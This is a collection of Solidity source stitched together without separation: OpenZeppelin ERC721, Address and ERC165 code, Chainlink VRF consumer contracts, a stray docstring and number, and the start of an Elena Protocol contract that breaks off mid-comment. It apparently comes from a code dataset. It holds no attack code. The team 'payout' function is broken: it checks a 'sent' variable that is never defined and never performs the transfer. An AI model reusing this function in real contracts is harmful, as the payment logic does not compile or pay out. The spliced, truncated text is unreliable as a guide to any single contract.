transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } }
Pay the yet unpaid funds to the caller, when it is a team member Does not work after emergency payout was used. Implement secondary share payouts
function payout() public emergencyNotCalled() inStateOrAbove(StateType.MINTCLOSED) { (bool isTeamMember, uint teamIndex) = getTeamIndex(_msgSender()); require( isTeamMember, "Invalid address" ); uint shareIndex = teamIndex * TEAM_SHARE_RECORD_SIZE; uint mintShare = 0; if (mintSharePaid[teamIndex] == false) { mintSharePaid[teamIndex] = true; mintShare = (mintBalanceTotal * teamShare[shareIndex + TEAM_SHARE_MINT_OFFSET]) / 1000; } uint secondaryShare = 0; if (secondaryBalanceTotal > teamShare[shareIndex + TEAM_SHARE_SECONDARY_PAID_OFFSET]) { uint secondaryShareToPay = secondaryBalanceTotal - teamShare[shareIndex + TEAM_SHARE_SECONDARY_PAID_OFFSET]; teamShare[shareIndex + TEAM_SHARE_SECONDARY_PAID_OFFSET] = secondaryBalanceTotal; secondaryShare = (secondaryShareToPay * teamShare[shareIndex + TEAM_SHARE_SECONDARY_OFFSET]) / 1000; } uint total = mintShare + secondaryShare; require( total > 0, "Nothing to pay" ); require( sent, TX_FAILED ); }
12,225,935
/** *Submitted for verification at Etherscan.io on 2021-04-19 */ //SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; // ==================================================================== // ________ _______ // / ____/ /__ ____ ____ _ / ____(_)___ ____ _____ ________ // / __/ / / _ \/ __ \/ __ `/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ // / /___/ / __/ / / / /_/ / / __/ / / / / / /_/ / / / / /__/ __/ // /_____/_/\___/_/ /_/\__,_(_)_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ // // ==================================================================== // ====================== Elena Protocol (USE) ======================== // ==================================================================== // Dapp : https://elena.finance // Twitter : https://twitter.com/ElenaProtocol // Telegram: https://t.me/ElenaFinance // ==================================================================== // File: contracts\@openzeppelin\contracts\math\SafeMath.sol // License: MIT /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts\@openzeppelin\contracts\token\ERC20\IERC20.sol // License: MIT /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts\@openzeppelin\contracts\utils\EnumerableSet.sol // License: MIT /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 